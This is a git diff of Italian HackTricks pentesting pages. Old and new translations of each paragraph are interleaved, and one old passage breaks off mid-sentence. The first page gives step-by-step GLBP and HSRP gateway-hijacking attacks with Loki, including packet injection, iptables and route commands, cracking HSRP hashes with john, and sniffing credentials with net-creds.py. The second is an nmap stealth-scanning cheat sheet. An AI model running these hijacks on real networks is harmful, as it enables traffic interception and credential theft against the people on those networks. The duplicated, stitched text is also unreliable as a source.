### Approfondimenti su FHRP
|
||||
FHRP è progettato per fornire robustezza di rete unendo più router in un'unica unità virtuale, migliorando così la distribuzione del carico e la tolleranza ai guasti. Cisco Systems ha introdotto protocolli di rilievo in questa suite, come GLBP e HSRP.
|
||||
|
||||
### Approfondimenti sul protocollo GLBP
|
||||
### Approfondimenti sul Protocollo GLBP
|
||||
La creazione di Cisco, GLBP, funziona sullo stack TCP/IP, utilizzando UDP sulla porta 3222 per la comunicazione. I router in un gruppo GLBP scambiano pacchetti "hello" a intervalli di 3 secondi. Se un router non invia questi pacchetti per 10 secondi, si presume che sia offline. Tuttavia, questi timer non sono fissi e possono essere modificati.
|
||||
|
||||
### Operazioni e distribuzione del carico di GLBP
|
||||
GLBP si distingue per la distribuzione del carico tra i router utilizzando un singolo indirizzo IP virtuale accoppiato a più indirizzi MAC virtuali. In un gruppo GLBP, ogni router è coinvolto nell'inoltro dei pacchetti. A differenza di HSRP/VRRP, GLBP offre un vero bilanciamento del carico attraverso diversi meccanismi:
|
||||
### Operazioni e Distribuzione del Carico di GLBP
|
||||
GLBP si distingue per consentire la distribuzione del carico tra i router utilizzando un singolo IP virtuale accoppiato con più indirizzi MAC virtuali. In un gruppo GLBP, ogni router è coinvolto nell'inoltro dei pacchetti. A differenza di HSRP/VRRP, GLBP offre un vero bilanciamento del carico attraverso diversi meccanismi:
|
||||
|
||||
- **Bilanciamento del carico dipendente dall'host:** Mantiene l'assegnazione dell'indirizzo MAC AVF coerente per un host, essenziale per configurazioni NAT stabili.
|
||||
- **Bilanciamento del carico round-robin:** L'approccio predefinito, assegnazione alternata dell'indirizzo MAC AVF tra gli host richiedenti.
|
||||
- **Bilanciamento del carico round-robin ponderato:** Distribuisce il carico in base a metriche "peso" predefinite.
|
||||
- **Bilanciamento del Carico Dipendente dall'Host:** Mantiene l'assegnazione dell'indirizzo MAC AVF coerente a un host, essenziale per configurazioni NAT stabili.
|
||||
- **Bilanciamento del Carico Round-Robin:** L'approccio predefinito, alternando l'assegnazione dell'indirizzo MAC AVF tra gli host richiedenti.
|
||||
- **Bilanciamento del Carico Round-Robin Ponderato:** Distribuisce il carico in base a metriche "Peso" predefinite.
|
||||
|
||||
### Componenti chiave e terminologie in GLBP
|
||||
- **AVG (Active Virtual Gateway):** Il router principale, responsabile dell'assegnazione degli indirizzi MAC ai router peer.
|
||||
- **AVF (Active Virtual Forwarder):** Un router designato per gestire il traffico di rete.
|
||||
### Componenti Chiave e Terminologie in GLBP
|
||||
- **AVG (Gateway Virtuale Attivo):** Il router principale, responsabile dell'assegnazione degli indirizzi MAC ai router peer.
|
||||
- **AVF (Inoltratore Virtuale Attivo):** Un router designato per gestire il traffico di rete.
|
||||
- **Priorità GLBP:** Una metrica che determina l'AVG, partendo da un valore predefinito di 100 e variando tra 1 e 255.
|
||||
- **Peso GLBP:** Riflette il carico corrente su un router, regolabile manualmente o tramite Object Tracking.
|
||||
- **Indirizzo IP virtuale GLBP:** Serve come gateway predefinito della rete per tutti i dispositivi connessi.
|
||||
- **Peso GLBP:** Riflette il carico attuale su un router, regolabile manualmente o tramite il Tracciamento degli Oggetti.
|
||||
- **Indirizzo IP Virtuale GLBP:** Serve come gateway predefinito della rete per tutti i dispositivi connessi.
|
||||
|
||||
Per le interazioni, GLBP utilizza l'indirizzo multicast riservato 224.0.0.102 e la porta UDP 3222. I router trasmettono pacchetti "hello" a intervalli di 3 secondi e vengono considerati non operativi se un pacchetto viene perso per una durata di 10 secondi.
|
||||
|
||||
### Meccanismo di attacco GLBP
|
||||
Un attaccante può diventare il router primario inviando un pacchetto GLBP con il valore di priorità più alto (255). Ciò può portare a attacchi DoS o MITM, consentendo l'intercettazione o il reindirizzamento del traffico.
|
||||
### Meccanismo di Attacco GLBP
|
||||
Un attaccante può diventare il router principale inviando un pacchetto GLBP con il valore di priorità più alto (255). Ciò può portare a attacchi DoS o MITM, consentendo l'intercettazione o il reindirizzamento del traffico.
|
||||
|
||||
### Esecuzione di un attacco GLBP con Loki
|
||||
[Loki](https://github.com/raizo62/loki_on_kali) può eseguire un attacco GLBP iniettando un pacchetto con priorità e peso impostati su 255. I passaggi precedenti all'attacco prevedono la raccolta di informazioni come l'indirizzo IP virtuale, la presenza di autenticazione e i valori di priorità del router utilizzando strumenti come Wireshark.
|
||||
### Esecuzione di un Attacco GLBP con Loki
|
||||
[Loki](https://github.com/raizo62/loki_on_kali) può eseguire un attacco GLBP iniettando un pacchetto con priorità e peso impostati su 255. I passaggi pre-attacco coinvolgono la raccolta di informazioni come l'indirizzo IP virtuale, la presenza di autenticazione e i valori di priorità del router utilizzando strumenti come Wireshark.
|
||||
|
||||
Passaggi dell'attacco:
|
||||
Passaggi dell'Attacco:
|
||||
1. Passare alla modalità promiscua e abilitare l'inoltro IP.
|
||||
2. Identificare il router di destinazione e recuperare il suo indirizzo IP.
|
||||
3. Generare un ARP gratuitous.
|
||||
4. Iniettare un pacchetto GLBP malevolo, impersonando l'AVG.
|
||||
5. Assegnare un indirizzo IP secondario all'interfaccia di rete dell'attaccante, replicando l'indirizzo IP virtuale di GLBP.
|
||||
6. Implementare SNAT per una completa visibilità del traffico.
|
||||
7. Regolare il routing per garantire un accesso continuo a Internet tramite il router AVG originale.
|
||||
2. Identificare il router di destinazione e recuperare il suo IP.
|
||||
3. Generare un ARP Gratuito.
|
||||
4. Iniettare un pacchetto GLBP malintenzionato, impersonando l'AVG.
|
||||
5. Assegnare un indirizzo IP secondario all'interfaccia di rete dell'attaccante, riflettendo l'IP virtuale GLBP.
|
||||
6. Implementare SNAT per una visibilità completa del traffico.
|
||||
7. Regolare il routing per garantire un accesso continuo a Internet attraverso il router AVG originale.
|
||||
|
||||
Seguendo questi passaggi, l'attaccante si posiziona come un "uomo nel mezzo", in grado di intercettare e analizzare il traffico di rete, inclusi dati non crittografati o sensibili.
|
||||
Seguendo questi passaggi, l'attaccante si posiziona come "uomo nel mezzo", in grado di intercettare e analizzare il traffico di rete, inclusi dati non crittografati o sensibili.
|
||||
|
||||
Per la dimostrazione, ecco i frammenti di comando necessari:
|
||||
Per dimostrazione, ecco i frammenti di comando richiesti:
|
||||
```bash
|
||||
# Enable promiscuous mode and IP forwarding
|
||||
sudo ip link set eth0 promisc on
|
||||
|
@ -70,23 +74,23 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
### Spiegazione passiva dell'hijacking HSRP con dettagli dei comandi
|
||||
### Spiegazione passiva dell'attacco HSRP Hijacking con dettagli sui comandi
|
||||
|
||||
#### Panoramica di HSRP (Hot Standby Router/Redundancy Protocol)
|
||||
HSRP è un protocollo proprietario di Cisco progettato per la ridondanza del gateway di rete. Consente la configurazione di più router fisici in un'unica unità logica con un indirizzo IP condiviso. Questa unità logica è gestita da un router primario responsabile del reindirizzamento del traffico. A differenza di GLBP, che utilizza metriche come priorità e peso per il bilanciamento del carico, HSRP si basa su un singolo router attivo per la gestione del traffico.
|
||||
HSRP è un protocollo proprietario di Cisco progettato per la ridondanza del gateway di rete. Consente la configurazione di più router fisici in un'unica unità logica con un indirizzo IP condiviso. Questa unità logica è gestita da un router primario responsabile del flusso di traffico. A differenza di GLBP, che utilizza metriche come priorità e peso per il bilanciamento del carico, HSRP si basa su un singolo router attivo per la gestione del traffico.
|
||||
|
||||
#### Ruoli e terminologia in HSRP
|
||||
- **Router attivo HSRP**: Il dispositivo che agisce come gateway, gestendo il flusso di traffico.
|
||||
- **Router attivo HSRP**: Il dispositivo che funge da gateway, gestendo il flusso di traffico.
|
||||
- **Router standby HSRP**: Un router di backup, pronto a prendere il controllo se il router attivo fallisce.
|
||||
- **Gruppo HSRP**: Un insieme di router che collaborano per formare un singolo router virtuale resiliente.
|
||||
- **Indirizzo MAC HSRP**: Un indirizzo MAC virtuale assegnato al router logico nella configurazione HSRP.
|
||||
- **Indirizzo IP virtuale HSRP**: L'indirizzo IP virtuale del gruppo HSRP, che agisce come gateway predefinito per i dispositivi connessi.
|
||||
- **Indirizzo IP virtuale HSRP**: L'indirizzo IP virtuale del gruppo HSRP, agendo come gateway predefinito per i dispositivi connessi.
|
||||
|
||||
#### Versioni di HSRP
|
||||
HSRP è disponibile in due versioni, HSRPv1 e HSRPv2, che differiscono principalmente per la capacità del gruppo, l'utilizzo di indirizzi IP multicast e la struttura dell'indirizzo MAC virtuale. Il protocollo utilizza specifici indirizzi IP multicast per lo scambio di informazioni di servizio, con pacchetti Hello inviati ogni 3 secondi. Un router viene considerato inattivo se non viene ricevuto alcun pacchetto entro un intervallo di 10 secondi.
|
||||
HSRP ha due versioni, HSRPv1 e HSRPv2, che differiscono principalmente per capacità di gruppo, utilizzo di IP multicast e struttura dell'indirizzo MAC virtuale. Il protocollo utilizza specifici indirizzi IP multicast per lo scambio di informazioni di servizio, con pacchetti Hello inviati ogni 3 secondi. Un router è considerato inattivo se non riceve alcun pacchetto entro un intervallo di 10 secondi.
|
||||
|
||||
#### Meccanismo di attacco HSRP
|
||||
Gli attacchi HSRP prevedono il prendere il controllo del ruolo del Router attivo iniettando un valore di priorità massima. Ciò può portare a un attacco Man-In-The-Middle (MITM). I passaggi essenziali prima dell'attacco includono la raccolta di dati sulla configurazione HSRP, che può essere fatta utilizzando Wireshark per l'analisi del traffico.
|
||||
Gli attacchi HSRP coinvolgono il prendere il controllo del ruolo del Router attivo iniettando un valore di priorità massimo. Ciò può portare a un attacco Man-In-The-Middle (MITM). I passaggi essenziali prima dell'attacco includono la raccolta di dati sulla configurazione HSRP, che può essere fatta utilizzando Wireshark per l'analisi del traffico.
|
||||
|
||||
#### Passaggi per aggirare l'autenticazione HSRP
|
||||
1. Salvare il traffico di rete contenente i dati HSRP in un file .pcap.
|
||||
|
@ -104,19 +108,19 @@ john --wordlist=mywordlist.txt hsrp_hashes
|
|||
|
||||
**Esecuzione dell'iniezione HSRP con Loki**
|
||||
|
||||
1. Avviare Loki per identificare le pubblicità HSRP.
|
||||
1. Avviare Loki per identificare gli annunci HSRP.
|
||||
2. Impostare l'interfaccia di rete in modalità promiscua e abilitare l'inoltro IP.
|
||||
```shell
|
||||
sudo ip link set eth0 promisc on
|
||||
sudo sysctl -w net.ipv4.ip_forward=1
|
||||
```
|
||||
3. Utilizzare Loki per prendere di mira il router specifico, inserire la password HSRP craccata e eseguire le configurazioni necessarie per impersonare il Router attivo.
|
||||
3. Utilizzare Loki per mirare a un router specifico, inserire la password HSRP craccata e eseguire le configurazioni necessarie per impersonare il Router attivo.
|
||||
4. Dopo aver ottenuto il ruolo di Router attivo, configurare l'interfaccia di rete e le tabelle IP per intercettare il traffico legittimo.
|
||||
```shell
|
||||
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||||
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
5. Modificare la tabella di routing per instradare il traffico attraverso l'ex Router attivo.
|
||||
5. Modificare la tabella di routing per instradare il traffico attraverso il precedente Router attivo.
|
||||
```shell
|
||||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
|
@ -126,23 +130,4 @@ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
|||
sudo python2 net-creds.py -i eth0
|
||||
```
|
||||
|
||||
Eseguendo questi passaggi, l'attaccante si trova in una posizione per intercettare e manipolare il traffico, simile alla procedura per l'hijacking GLBP. Ciò evidenzia la vulnerabilità dei protocolli di ridondanza come HSRP e la necessità di misure di sicurezza robuste.
|
||||
|
||||
|
||||
## Riferimenti
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
L'esecuzione di questi passaggi mette l'attaccante in una posizione per intercettare e manipolare il traffico, simile alla procedura per l'hijacking di GLBP. Questo evidenzia la vulnerabilità nei protocolli di ridondanza come HSRP e la necessità di misure di sicurezza robuste.
|
||||
|
|
|
@ -2,80 +2,96 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
```
|
||||
nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
||||
```
|
||||
## Parametri
|
||||
|
||||
### Indirizzi IP da scansionare
|
||||
### IP da scansionare
|
||||
|
||||
* **`<ip>,<net/mask>`:** Indica gli indirizzi IP direttamente
|
||||
* **`<ip>,<net/mask>`:** Indica direttamente gli IP
|
||||
* **`-iL <ips_file>`:** lista_IPs
|
||||
* **`-iR <number>`**: Numero di indirizzi IP casuali, è possibile escludere possibili indirizzi IP con `--exclude <Ips>` o `--excludefile <file>`.
|
||||
* **`-iR <numero>`**: Numero di IP casuali, è possibile escludere gli IP possibili con `--exclude <Ips>` o `--excludefile <file>`.
|
||||
|
||||
### Scoperta dell'attrezzatura
|
||||
|
||||
Per impostazione predefinita, Nmap avvia una fase di scoperta che consiste in: `-PA80 -PS443 -PE -PP`
|
||||
Di default Nmap avvia una fase di scoperta composta da: `-PA80 -PS443 -PE -PP`
|
||||
|
||||
* **`-sL`**: Non invasivo, elenca gli obiettivi effettuando richieste **DNS** per risolvere i nomi. È utile per sapere se ad esempio www.prueba.es/24 tutti gli indirizzi IP sono i nostri obiettivi.
|
||||
* **`-Pn`**: **No ping**. Questo è utile se si sa che sono tutti attivi (altrimenti si potrebbe perdere molto tempo, ma questa opzione produce anche falsi negativi dicendo che non sono attivi), impedisce la fase di scoperta.
|
||||
* **`-sn`** : **No scansione delle porte**. Dopo aver completato la fase di ricognizione, non esegue la scansione delle porte. È relativamente stealthy e consente una piccola scansione di rete. Con i privilegi invia un ACK (-PA) a 80, un SYN(-PS) a 443 e una richiesta di echo e una richiesta di timestamp, senza privilegi completa sempre le connessioni. Se l'obiettivo è la rete, utilizza solo ARP(-PR). Se utilizzato con un'altra opzione, vengono scartati solo i pacchetti dell'altra opzione.
|
||||
* **`-PR`**: **Ping ARP**. Viene utilizzato per impostazione predefinita quando si analizzano computer nella nostra rete, è più veloce rispetto all'utilizzo dei ping. Se non si desidera utilizzare i pacchetti ARP, utilizzare `--send-ip`.
|
||||
* **`-PS <ports>`**: Invia pacchetti SYN ai quali, se risponde SYN/ACK, è aperto (risponde con RST per non terminare la connessione), se risponde RST è chiuso e se non risponde è irraggiungibile. Nel caso in cui non si abbiano privilegi, viene utilizzata automaticamente una connessione totale. Se non vengono fornite porte, le invia a 80.
|
||||
* **`-PA <ports>`**: Come il precedente ma con ACK, combinando entrambi si ottengono risultati migliori.
|
||||
* **`-PU <ports>`**: L'obiettivo è opposto, vengono inviati a porte che si prevede siano chiuse. Alcuni firewall controllano solo le connessioni TCP. Se è chiuso, viene risposto con port unreachable, se viene risposto con un altro icmp o non viene risposto, viene considerato come destination unreachable.
|
||||
* **`-PE, -PP, -PM`** : PING ICMP: echo replay, timestamp e addresmask. Vengono inviati per scoprire se l'obiettivo è attivo.
|
||||
* **`-PY<ports>`**: Invia sonde SCTP INIT a 80 per impostazione predefinita, può essere risposto con INIT-ACK(aperto) o ABORT(chiuso) o niente o ICMP unreachable(inattivo).
|
||||
* **`-PO <protocols>`**: Viene indicato un protocollo negli header, per impostazione predefinita 1(ICMP), 2(IGMP) e 4(Encap IP). Per i protocolli ICMP, IGMP, TCP (6) e UDP (17) vengono inviati gli header del protocollo, per il resto viene inviato solo l'header IP. Lo scopo di ciò è che a causa della deformazione degli header, vengono risposti Protocol unreachable o risposte dello stesso protocollo per sapere se è attivo.
|
||||
* **`-sL`**: Non invasivo, elenca gli obiettivi facendo richieste **DNS** per risolvere i nomi. È utile per sapere se ad esempio www.prueba.es/24 tutti gli IP sono i nostri obiettivi.
|
||||
* **`-Pn`**: **No ping**. È utile se si sa che tutti sono attivi (altrimenti si potrebbe perdere molto tempo, ma questa opzione produce anche falsi negativi dicendo che non sono attivi), impedisce la fase di scoperta.
|
||||
* **`-sn`** : **No scansione porte**. Dopo aver completato la fase di ricognizione, non esegue la scansione delle porte. È relativamente stealthy e consente una piccola scansione di rete. Con privilegi invia un ACK (-PA) a 80, un SYN(-PS) a 443 e una richiesta di eco e una richiesta di timestamp, senza privilegi completa sempre le connessioni. Se il target è la rete, utilizza solo ARP(-PR). Se usato con un'altra opzione, vengono scartati solo i pacchetti dell'altra opzione.
|
||||
* **`-PR`**: **Ping ARP**. Viene utilizzato per impostazione predefinita quando si analizzano computer nella nostra rete, è più veloce dell'utilizzo dei ping. Se non si desidera utilizzare i pacchetti ARP, utilizzare `--send-ip`.
|
||||
* **`-PS <porte>`**: Invia pacchetti SYN a cui risponde con SYN/ACK se è aperto (risponde con RST per non terminare la connessione), se risponde con RST è chiuso e se non risponde è irraggiungibile. In caso di mancanza di privilegi, viene utilizzata automaticamente una connessione totale. Se non vengono specificate porte, le invia a 80.
|
||||
* **`-PA <porte>`**: Come il precedente ma con ACK, combinandoli si ottengono risultati migliori.
|
||||
* **`-PU <porte>`**: L'obiettivo è opposto, vengono inviati a porte che si prevede siano chiuse. Alcuni firewall controllano solo le connessioni TCP. Se è chiuso, risponde con porta irraggiungibile, se risponde con un altro icmp o non risponde, viene lasciato come destinazione irraggiungibile.
|
||||
* **`-PE, -PP, -PM`** : PING ICMP: risposta echo, timestamp e addresmask. Vengono inviati per scoprire se il target è attivo.
|
||||
* **`-PY<porte>`**: Invia sonde SCTP INIT a 80 per impostazione predefinita, INIT-ACK(aperto) o ABORT(chiuso) o niente o ICMP irraggiungibile(inattivo) possono essere risposti.
|
||||
* **`-PO <protocolli>`**: Viene indicato un protocollo negli header, per impostazione predefinita 1(ICMP), 2(IGMP) e 4(Encap IP). Per i protocolli ICMP, IGMP, TCP (6) e UDP (17) vengono inviati gli header del protocollo, per il resto viene inviato solo l'header IP. Lo scopo è che a causa della malformazione degli header, vengono risposti Protocol unreachable o risposte dello stesso protocollo per sapere se è attivo.
|
||||
* **`-n`**: No DNS
|
||||
* **`-R`**: DNS sempre
|
||||
|
||||
### Tecniche di scansione delle porte
|
||||
|
||||
* **`-sS`**: Non completa la connessione quindi non lascia tracce, molto buono se può essere utilizzato (con privilegi). È quello utilizzato per impostazione predefinita.
|
||||
* **`-sT`**: Completa la connessione, quindi lascia una traccia, ma può essere utilizzato in modo sicuro. Di default senza privilegi.
|
||||
* **`-sU`**: Più lento, per UDP. Principalmente: DNS(53), SNMP(161,162), DHCP(67 e 68), (-sU53,161,162,67,68): aperto(risposta), chiuso(port unreachable), filtrato (altro ICMP), aperto/filtrato (niente). In caso di aperto/filtrato, -sV invia numerose richieste per rilevare una delle versioni supportate da nmap e può rilevare lo stato reale. Aumenta molto il tempo.
|
||||
* **`-sY`**: Il protocollo SCTP non riesce a stabilire la connessione, quindi non ci sono registri, funziona come -PY
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, possono penetrare alcuni firewall ed estrarre informazioni. Si basano sul fatto che le macchine conformi allo standard dovrebbero rispondere con RST a tutte le richieste che non hanno sollevato flag SYN, RST o ACK: aperto/filtrato(niente), chiuso(RST), filtrato (ICMP unreachable). Non affidabile su Windows, CIsco, BSDI e OS/400. Su Unix sì.
|
||||
* **`-sS`**: Non completa la connessione quindi non lascia traccia, molto buono se può essere utilizzato (privilegi). È quello utilizzato per impostazione predefinita.
|
||||
* **`-sT`**: Completa la connessione, quindi lascia una traccia, ma può essere utilizzato con certezza. Di default senza privilegi.
|
||||
* **`-sU`**: Più lento, per UDP. Principalmente: DNS(53), SNMP(161,162), DHCP(67 e 68), (-sU53,161,162,67,68): aperto(risposta), chiuso(porta irraggiungibile), filtrato (un altro ICMP), aperto/filtrato (niente). In caso di aperto/filtrato, -sV invia numerose richieste per rilevare una delle versioni supportate da nmap e può rilevare lo stato reale. Aumenta notevolmente il tempo.
|
||||
* **`-sY`**: Il protocollo SCTP non riesce a stabilire la connessione, quindi non ci sono log, funziona come -PY
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, possono penetrare alcuni firewall ed estrarre informazioni. Si basano sul fatto che le macchine conformi allo standard dovrebbero rispondere con RST a tutte le richieste che non hanno sollevato flag SYN, RST o ACK: aperto/filtrato(niente), chiuso(RST), filtrato (ICMP irraggiungibile). Non affidabile su Windows, CIsco, BSDI e OS/400. Su Unix sì.
|
||||
* **`-sM`**: Scansione Maimon: Invia flag FIN e ACK, utilizzato per BSD, attualmente restituirà tutto come chiuso.
|
||||
* **`-sA, sW`**: ACK e Window, viene utilizzato per rilevare i firewall, per sapere se le porte sono filtrate o meno. Il -sW distingue tra aperto/chiuso poiché quelli aperti rispondono con un valore di finestra diverso: aperto (RST con finestra diversa da 0), chiuso (finestra RST = 0), filtrato (ICMP unreachable o niente). Non tutti i computer funzionano in questo modo, quindi se sono tutti chiusi, non funziona, se sono pochi aperti, funziona correttamente e se sono molti aperti e pochi chiusi, funziona al contrario.
|
||||
* **`-sI`:** Scansione inattiva. Nei casi in cui è presente un firewall attivo ma si sa che non filtra verso un determinato IP (o quando si desidera semplicemente l'anonimato) è possibile utilizzare lo scanner zombie (funziona per tutte le porte) per cercare possibili zombie si può utilizzare lo script ipidseq o l'exploit auxiliary/scanner/ip/ipidseq. Questo scanner si basa sul numero IPID dei pacchetti IP.
|
||||
* **`--badsum`:** Invia la somma in modo errato, i computer scarterebbero i pacchetti, ma i firewall potrebbero rispondere qualcosa, viene utilizzato per rilevare i firewall.
|
||||
* **`-sZ`:** Scanner SCTP "strano", quando invia sonde con frammenti di cookie echo dovrebbero essere scartati se aperti o risposti con ABORT se chiusi. Può passare attraverso firewall che init non riesce a superare, il problema è che non distingue tra filtrato e aperto.
|
||||
* **`-sO`:** Scansione del protocollo IP. Invia intestazioni errate e vuote in cui talvolta non è possibile distinguere nemmeno il protocollo. Se arriva un protocollo ICMP unreachable è chiuso, se arriva una porta irraggiungibile è aperto, se arriva un altro errore, filtrato, se non arriva nulla, aperto|filtrato.
|
||||
* **`-b <server>`:** FTPhost--> Viene utilizzato per scansionare un host da un altro, ciò viene fatto collegandosi all'ftp di un'altra macchina e chiedendo di inviare file alle porte che si desider
|
||||
**--osscan-guess** Quando la rilevazione del sistema operativo non è perfetta, questo sforza maggiormente
|
||||
* **`-sA, sW`**: ACK e Window, viene utilizzato per rilevare i firewall, per sapere se le porte sono filtrate o meno. Il -sW distingue tra aperto/chiuso poiché quelli aperti rispondono con un valore di finestra diverso: aperto (RST con finestra diversa da 0), chiuso (finestra RST = 0), filtrato (ICMP irraggiungibile o niente). Non tutti i computer funzionano in questo modo, quindi se sono tutti chiusi, non funziona, se sono pochi aperti, funziona correttamente, e se sono molti aperti e pochi chiusi, funziona al contrario.
|
||||
* **`-sI`:** Scansione inattiva. Nei casi in cui c'è un firewall attivo ma si sa che non filtra verso un certo IP (o quando si desidera semplicemente l'anonimato) si può utilizzare lo scanner zombie (funziona per tutte le porte), per cercare possibili zombie si può utilizzare lo script ipidseq o l'exploit auxiliary/scanner/ip/ipidseq. Questo scanner si basa sul numero IPID dei pacchetti IP.
|
||||
* **`--badsum`:** Invia il sommario sbagliato, i computer scarterebbero i pacchetti, ma i firewall potrebbero rispondere qualcosa, viene utilizzato per rilevare i firewall.
|
||||
* **`-sZ`:** Scanner SCTP "strano", quando invia sonde con frammenti di cookie echo dovrebbero essere scartati se aperti o risposti con ABORT se chiusi. Può passare attraverso i firewall che init non riesce a superare, il brutto è che non distingue tra filtrato e aperto.
|
||||
* **`-sO`:** Scansione del protocollo Ip. Invia intestazioni sbagliate e vuote in cui a volte nemmeno il protocollo può essere distinto. Se arriva un protocollo ICMP irraggiungibile è chiuso, se arriva una porta irraggiungibile è aperto, se arriva un altro errore, filtrato, se non arriva nulla, aperto|filtrato.
|
||||
* **`-b <server>`:** FTPhost--> Viene utilizzato per scansionare un host da un altro, ciò viene fatto collegandosi all'ftp di un'altra macchina e chiedendo di inviare file alle porte che si desidera scansionare da un'altra macchina, in base alle risposte sapremo se sono aperte o no. \[\<user>:\<password>@]\<server>\[:\<port>] Quasi tutti i server ftp non consentono più di fare ciò e quindi ha poco utilizzo pratico.
|
||||
|
||||
**Script**
|
||||
### **Analisi centrale**
|
||||
|
||||
\--script _\<nomefile>_|_\<categoria>_|_\<directory>_|_\<espressione>_\[,...]
|
||||
**-p:** Serve per specificare le porte da scansionare. Per selezionare le 65335: **-p-** o **-p all**. Nmap ha una classificazione interna in base alla sua popolarità. Di default utilizza le 1000 principali. Con **-F** (scansione veloce) analizza le 100 principali. Con **--top-ports \<numero>** Analizza quel numero di porte principali (da 1 a 65335). Controlla le porte in ordine casuale, per evitare ciò **-r**. È anche possibile selezionare le porte: 20-30,80,443,1024- Quest'ultimo significa che controlla a partire dal 1024. È anche possibile raggruppare le porte per protocolli: U:53,T:21-25,80,139,S:9. È anche possibile scegliere un intervallo all'interno delle porte popolari di nmap: -p \[-1024] controlla fino a 1024 tra quelli inclusi in nmap-services. **--port-ratio \<ratio>** Controlla le porte più comuni rispetto a un rapporto che deve essere compreso tra 0 e 1
|
||||
|
||||
Per utilizzare quelli predefiniti, è sufficiente utilizzare -sC o --script=default
|
||||
**-sV** Scansione della versione, è possibile regolare l'intensità da 0 a 9, di default 7.
|
||||
|
||||
**--version-intensity \<numero>** Regola l'intensità, in modo che quanto più bassa sarà, lancerà solo le sonde più probabili, ma non tutte. Con questo possiamo accorciare notevolmente il tempo di scansione UDP
|
||||
|
||||
**-O** Rilevamento dell'OS
|
||||
|
||||
**--osscan-limit** Per scansionare correttamente un host è necessario che ci sia almeno una porta aperta e una chiusa, se questa condizione non è soddisfatta e abbiamo impostato questo, non tenta di fare una previsione dell'OS (risparmia tempo)
|
||||
**--osscan-guess** Quando la rilevazione dell'OS non è perfetta, questo sforza maggiormente
|
||||
|
||||
**Scripts**
|
||||
|
||||
\--script _\<filename>_|_\<category>_|_\<directory>_|_\<expression>_\[,...]
|
||||
|
||||
Per utilizzare quelli predefiniti, è sufficiente usare -sC o --script=default
|
||||
|
||||
